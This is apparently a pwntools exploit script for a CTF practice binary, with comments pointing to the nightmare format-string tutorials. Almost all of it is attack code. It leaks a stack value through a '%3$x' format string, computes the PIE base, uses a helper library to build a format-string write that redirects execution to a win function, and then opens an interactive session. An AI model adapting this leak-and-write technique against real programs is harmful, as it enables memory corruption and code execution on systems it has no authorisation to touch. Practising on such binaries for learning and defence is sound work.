# +------------------------------------------------+
# | Atack: Format String Winfunc Pie FsLeak        |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

# +------------------------------------------------+
# | Atack: Format String Winfunc Pie               |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

# +------------------------------------------------+
# | Atack: Format String Winfunc                   |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/10-fmt_strings

from pwn import *

import sf

target = process("./chall-test_FmtString-23-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

leakPayload = b""
leakPayload += b"xxxxxxx"
leakPayload += b"%3$x"
leakPayload += b"yyyyyyy"
target.sendline(leakPayload)
leak = target.recvuntil(b"yyyyyyy")
leak = leak.strip(b"yyyyyyy")
leak = leak.split(b"xxxxxxx")[1]
leak = int(leak, 0x10)

pie_base = leak - 0x128f
print("PieBase is: %s" % hex(pie_base))
fs = sf.WriteFmtStr(
		arch = 32,
		value = 0x124d,
		address = 0x3314,
		offset = 0x6,
		printed_bytes = 0x0,
		alignment_bytes = 0x0,
		value_base = pie_base,
		address_base = pie_base)
payload = fs.generate_fmt_str()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Slipknot                               |
# +------------------------------------------------+
# | Song: (515)                                    |
# +------------------------------------------------+
# | *sid screaming                                 |
# +------------------------------------------------+

